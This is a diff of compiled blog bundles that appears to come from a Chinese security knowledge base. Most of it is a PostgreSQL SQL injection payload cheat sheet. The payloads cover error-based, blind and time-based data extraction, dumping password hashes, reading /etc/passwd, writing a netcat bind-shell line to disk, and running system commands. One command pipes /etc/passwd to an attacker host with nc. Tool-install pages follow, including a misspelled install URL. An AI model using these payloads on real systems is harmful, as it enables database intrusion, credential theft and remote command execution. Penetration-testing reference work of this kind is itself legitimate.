\u5f53\u524d\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT user;\nSELECT current_user;\nSELECT session_user;\nSELECT usename FROM pg_user;\nSELECT getpgusername();\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u7528\u6237",children:"PostgreSQL \u5217\u8868\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename FROM pg_user\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u5bc6\u7801\u54c8\u5e0c",children:"PostgreSQL \u5217\u8868\u5bc6\u7801\u54c8\u5e0c"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename, passwd FROM pg_shadow \n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",children:"PostgreSQL \u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename FROM pg_user WHERE usesuper IS TRUE\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u6743\u9650",children:"PostgreSQL \u5217\u8868\u6743\u9650"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",children:"PostgreSQL \u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SHOW is_superuser; \nSELECT current_setting('is_superuser');\nSELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6570\u636e\u5e93\u540d\u79f0",children:"PostgreSQL \u6570\u636e\u5e93\u540d\u79f0"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT current_database()\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u6570\u636e\u5e93",children:"PostgreSQL \u5217\u8868\u6570\u636e\u5e93"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT datname FROM pg_database\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u8868",children:"PostgreSQL \u5217\u8868\u8868"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT table_name FROM information_schema.tables\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5217\u8868\u5217",children:"PostgreSQL \u5217\u8868\u5217"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT column_name FROM information_schema.columns WHERE table_name='data_table'\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u9519\u8bef",children:"PostgreSQL \u57fa\u4e8e\u9519\u8bef"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:",cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)\n,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--\n,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--\n,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)\n\n' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1\n' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1\n' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1\n' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8exml",children:"PostgreSQL \u57fa\u4e8eXML"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row\n"})}),"\n",(0,t.jsxs)(s.p,{children:["\u4e0a\u9762\u7684 ",(0,t.jsx)(s.code,{children:"query_to_xml"})," \u5c06\u6307\u5b9a\u67e5\u8be2\u7684\u6240\u6709\u7ed3\u679c\u4f5c\u4e3a\u5355\u4e2a\u7ed3\u679c\u8fd4\u56de\u3002\u5c06\u5176\u4e0e",(0,t.jsx)(s.a,{href:"#postgresql-error-based",children:"PostgreSQL \u57fa\u4e8e\u9519\u8bef"}),"\u6280\u672f\u76f8\u7ed3\u5408\uff0c\u4ee5\u6392\u9664\u8fc7\u6ee4\u6570\u636e\uff0c\u800c\u4e0d\u5fc5\u62c5\u5fc3 ",(0,t.jsx)(s.code,{children:"LIMIT"})," \u5c06\u67e5\u8be2\u8fd4\u56de\u4e00\u4e2a\u7ed3\u679c\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select database_to_xml(true,true,''); -- dump the current database to XML\nselect database_to_xmlschema(true,true,''); -- dump the current db to an XML schema\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u6ce8\u610f\uff0c\u5bf9\u4e8e\u4e0a\u8ff0\u67e5\u8be2\uff0c\u9700\u8981\u5728\u5185\u5b58\u4e2d\u7ec4\u88c5\u8f93\u51fa\u3002\u5bf9\u4e8e\u8f83\u5927\u7684\u6570\u636e\u5e93\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u901f\u5ea6\u51cf\u6162\u6216\u62d2\u7edd\u670d\u52a1\u7684\u60c5\u51b5\u3002"}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u76f2\u6ce8",children:"PostgreSQL \u57fa\u4e8e\u76f2\u6ce8"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK\n' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u65f6\u95f4",children:"PostgreSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(s.h4,{id:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",children:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select 1 from pg_sleep(5)\n;(select 1 from pg_sleep(5))\n||(select 1 from pg_sleep(5))\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",children:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",children:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",children:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1\nselect case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))\nAND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5806\u53e0\u67e5\u8be2",children:"PostgreSQL \u5806\u53e0\u67e5\u8be2"}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528\u5206\u53f7\u201c\uff1b\u201d\u6dfb\u52a0\u53e6\u4e00\u4e2a\u67e5\u8be2"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6587\u4ef6\u8bfb\u53d6",children:"PostgreSQL \u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select pg_ls_dir('./');\nselect pg_read_file('PG_VERSION', 0, 200);\n"})}),"\n",(0,t.jsxs)(s.p,{children:["\u6ce8\u610f\uff1a\u65e9\u671f\u7248\u672c\u7684 Postgres \u4e0d\u63a5\u53d7 ",(0,t.jsx)(s.code,{children:"pg_read_file"})," \u6216 ",(0,t.jsx)(s.code,{children:"pg_ls_dir"})," \u4e2d\u7684\u7edd\u5bf9\u8def\u5f84\u3002\u8f83\u65b0\u7684\u7248\u672c\uff08\u4ece",(0,t.jsx)(s.a,{href:"https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a",children:"this"}),"\u63d0\u4ea4\u8d77\uff09\u5c06\u5141\u8bb8\u8bfb\u53d6\u8d85\u7ea7\u7528\u6237\u6216 ",(0,t.jsx)(s.code,{children:"default_role_read_server_files"})," \u7ec4\u4e2d\u7684\u7528\u6237\u7684\u4efb\u4f55\u6587\u4ef6/\u6587\u4ef6\u8def\u5f84\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE TABLE temp(t TEXT);\nCOPY temp FROM '/etc/passwd';\nSELECT * FROM temp limit 1 offset 0;\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID\nSELECT lo_get(16420); -- use the OID returned from the above\nSELECT * from pg_largeobject; -- or just get all the large objects and their data\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6587\u4ef6\u5199\u5165",children:"PostgreSQL \u6587\u4ef6\u5199\u5165"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE TABLE pentestlab (t TEXT);\nINSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');\nSELECT * FROM pentestlab;\nCOPY pentestlab(t) TO '/tmp/pentestlab';\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u6216\u8005\u4f5c\u4e3a\u4e00\u884c\uff1a"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data\nSELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20\nSELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u547d\u4ee4\u6267\u884c",children:"PostgreSQL \u547d\u4ee4\u6267\u884c"}),"\n",(0,t.jsx)(s.h3,{id:"2019-\u5e74-9-\u6708-19-\u65e5",children:"2019 \u5e74 9 \u6708 19 \u65e5"}),"\n",(0,t.jsxs)(s.p,{children:["\u5982\u679c\u60a8\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u6570\u636e\u5e93\uff0c\u5219\u53ef\u4ee5\u4ece",(0,t.jsx)(s.a,{href:"https://github.com/rapid7/metasploit-framework/pull/11598",children:"Metasploit"}),"\u4f7f\u7528\uff0c\u5426\u5219\u60a8\u9700\u8981\u624b\u52a8\u6267\u884c\u4ee5\u4e0b SQL \u67e5\u8be2\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-SQL",children:"DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists\nCREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output\nCOPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function\nSELECT * FROM cmd_exec; -- [Optional] View the results\nDROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table\n"})}),"\n",(0,t.jsx)(s.p,{children:(0,t.jsx)(s.img,{src:"https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png",alt:"https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png"})}),"\n",(0,t.jsx)(s.h3,{id:"\u4f7f\u7528-libcso6",children:"\u4f7f\u7528 libc.so.6"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;\nSELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');\n"})}),"\n",(0,t.jsx)(s.h3,{id:"\u65c1\u901a\u8fc7\u6ee4\u5668",children:"\u65c1\u901a\u8fc7\u6ee4\u5668"}),"\n",(0,t.jsx)(s.h4,{id:"\u62a5\u4ef7",children:"\u62a5\u4ef7"}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528 CHR"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT CHR(65)||CHR(66)||CHR(67);\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528\u7f8e\u5143\u7b26\u53f7\uff08>=PostgreSQL \u7248\u672c 8\uff09"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT $$This is a string$$\nSELECT $TAG$This is another string$TAG$\n"})}),"\n",(0,t.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsxs)(s.ul,{children:["\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9",children:"PostgreSQL \u6e17\u900f\u6d4b\u8bd5\u6307\u5357-David Hayter"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5",children:"Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://hackerone.com/reports/181803",children:"SQL \u6ce8\u5165/webApp/oma_conf ctx \u53c2\u6570\uff08viestinta.lahitapiola.fi\uff09-2016 \u5e74 12 \u6708 8 \u65e5-Sergey Bobrov\uff08Bobrov\uff09"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/",children:"POSTGRESQL 9.X \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c-2017 \u5e74 10 \u6708 26 \u65e5-Daniel"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://pulsesecurity.co.nz/articles/postgres-sqli",children:"SQL \u6ce8\u5165\u548c Postgres-\u6700\u7ec8 RCE \u7684\u5192\u9669-2020 \u5e74 5 \u6708 5 \u65e5-Denis Andzakovic"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf",children:"\u9ad8\u7ea7 PostgreSQL SQL \u6ce8\u5165\u548c\u8fc7\u6ee4\u5668\u7ed5\u8fc7\u6280\u672f-2009-INFIGO"})}),"\n"]})]})}function h(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,t.jsx)(s,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/8053d113.1f7f2474.js b/assets/js/8053d113.1f7f2474.js new file mode 100644 index 0000000..37e03a9 --- /dev/null +++ b/assets/js/8053d113.1f7f2474.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6250],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>l});var c=n(96540);const a={},s=c.createContext(a);function i(e){const t=c.useContext(s);return c.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:i(e.components),c.createElement(s.Provider,{value:t},e.children)}},29735:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>l,default:()=>d,frontMatter:()=>i,metadata:()=>c,toc:()=>r});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","title":"\u4e0b\u8f7d\u5b89\u88c5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/01.\u4e0b\u8f7d\u5b89\u88c5.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/01.\u4e0b\u8f7d\u5b89\u88c5.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"go-proxy-http","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406"},"next":{"title":"\u521d\u59cb\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316"}}');var a=n(74848),s=n(28453);const i={},l="\u4e0b\u8f7d\u5b89\u88c5",o={},r=[{value:"Go",id:"go",level:2},{value:"Binary",id:"binary",level:2},{value:"Github",id:"github",level:2},{value:"Docker",id:"docker",level:2}];function h(e){const t={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(t.table,{children:[(0,a.jsx)(t.thead,{children:(0,a.jsxs)(t.tr,{children:[(0,a.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(t.tbody,{children:(0,a.jsxs)(t.tr,{children:[(0,a.jsx)(t.td,{style:{textAlign:"left"},children:(0,a.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,a.jsx)(t.td,{style:{textAlign:"left"},children:"2023-08-22 17:33:34"})]})})]}),"\n",(0,a.jsx)(t.header,{children:(0,a.jsx)(t.h1,{id:"\u4e0b\u8f7d\u5b89\u88c5",children:"\u4e0b\u8f7d\u5b89\u88c5"})}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsxs)(t.p,{children:["[!Tip] ",(0,a.jsx)(t.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"}),"\u51e0\u4e4e\u652f\u6301\u6240\u6709\u5e73\u53f0,\u60a8\u53ef\u4ee5\u5728\u4e0b\u9762\u7684\u5b89\u88c5\u65b9\u5f0f\u4e2d\u627e\u5230\u76f8\u5e94\u5e73\u53f0\u7684\u5b89\u88c5\u65b9\u5f0f\uff0c\u82e5\u60a8\u7684\u5e73\u53f0\u4e0d\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 ",(0,a.jsx)(t.a,{href:"https://github.com/golang/go",children:"Go1.19"})," \u4ee5\u4e0a\u7684\u7248\u672c\u81ea\u884c\u7f16\u8bd1"]}),"\n"]}),"\n",(0,a.jsx)(t.h2,{id:"go",children:"Go"}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"go install gitub.com/wjlin0/pathScan@latest\n"})}),"\n",(0,a.jsx)(t.h2,{id:"binary",children:"Binary"}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsxs)(t.p,{children:["[!Tip] ",(0,a.jsx)(t.a,{href:"https://github.com/wjlin0/pathScan/releases/latest",children:"\u4e8c\u8fdb\u5236\u6587\u4ef6"})]}),"\n"]}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"wget https://github.com/wjlin0/pathScan/releases/download/v1.3.2/pathScan_v1.3.2_linux_amd64.zip\n"})}),"\n",(0,a.jsx)(t.h2,{id:"github",children:"Github"}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"git clone https://github.com/wjlin0/pathScan.git; \\\ngo build; \\\nmv pathScan /usr/local/bin; \\\npathScan\n"})}),"\n",(0,a.jsx)(t.h2,{id:"docker",children:"Docker"}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsx)(t.p,{children:"[!Tip]\u76ee\u524d\u4e0d\u76f4\u63a5\u63d0\u4f9bdocker\u7684\u955c\u50cf\uff0c\u53ef\u81ea\u884c\u7f16\u8bd1"}),"\n"]}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"git clone https://github.com/wjlin0/pathScan.git; \\\ndocker build -t pathScan . ;\\\ndocker run --rm --name pathScan -it pathScan -u http://baidu.com\n"})})]})}function d(e={}){const{wrapper:t}={...(0,s.R)(),...e.components};return t?(0,a.jsx)(t,{...e,children:(0,a.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/81281954.0f2a088c.js b/assets/js/81281954.0f2a088c.js new file mode 100644 index 0000000..6cc7e23 --- /dev/null +++ b/assets/js/81281954.0f2a088c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2661],{1099:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234122642-5634203-6de49d941aac04b57d779dd5112c7cb7.png"},3642:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129224035267-33ad003c9bad352aac7671f2aee74d0e.png"},9532:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129223249357-d874280b389a6152edb559150b558aea.png"},20895:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234338700-684ee9a5eb11961672019d57228575e6.png"},24466:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>t,toc:()=>r});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/README","title":"\u5b89\u88c5Gitbook","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/"},"next":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"}}');var l=i(74848),s=i(28453);const d={},o="\u5b89\u88c5Gitbook",c={},r=[{value:"\u5b89\u88c5Gitbook\u6240\u9700\u5de5\u5177",id:"\u5b89\u88c5gitbook\u6240\u9700\u5de5\u5177",level:2},{value:"\u5b89\u88c5gitbook-cli",id:"\u5b89\u88c5gitbook-cli",level:3},{value:"\u5b89\u88c5gitbook summary",id:"\u5b89\u88c5gitbook-summary",level:3},{value:"\u521b\u5efa\u9879\u76ee",id:"\u521b\u5efa\u9879\u76ee",level:2},{value:"\u7f16\u5199book.json",id:"\u7f16\u5199bookjson",level:3},{value:"\u521b\u5efa\u6839\u76ee\u5f55\uff0c\u5bfc\u5165\u7b14\u8bb0",id:"\u521b\u5efa\u6839\u76ee\u5f55\u5bfc\u5165\u7b14\u8bb0",level:3},{value:"\u751f\u6210SUMMARY.MD\u6587\u4ef6",id:"\u751f\u6210summarymd\u6587\u4ef6",level:3},{value:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",id:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",level:3},{value:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",id:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",level:3},{value:"\u6784\u5efagithub Page",id:"\u6784\u5efagithub-page",level:2},{value:"\u6784\u5efagithub\u9879\u76ee",id:"\u6784\u5efagithub\u9879\u76ee",level:3},{value:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",id:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",level:3},{value:"github page \u6784\u5efa",id:"github-page-\u6784\u5efa",level:3},{value:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",id:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",level:3},{value:"\u8bbf\u95ee",id:"\u8bbf\u95ee",level:3},{value:"\u66f4\u65b0\u6587\u4ef6",id:"\u66f4\u65b0\u6587\u4ef6",level:2},{value:"\u5bfc\u51fa git",id:"\u5bfc\u51fa-git",level:3},{value:"\u66f4\u65b0\u76ee\u5f55",id:"\u66f4\u65b0\u76ee\u5f55",level:3},{value:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",id:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",level:3},{value:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",id:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",level:3},{value:"\u66f4\u65b0\u811a\u672c",id:"\u66f4\u65b0\u811a\u672c",level:3},{value:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",id:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",level:2},{value:"\u5feb\u901f\u751f\u6210summary",id:"\u5feb\u901f\u751f\u6210summary",level:3},{value:"flexible-alerts \u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",id:"flexible-alerts-\u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",level:3},{value:"\u66f4\u591a\u67e5\u770b",id:"\u66f4\u591a\u67e5\u770b",level:3}];function a(e){const 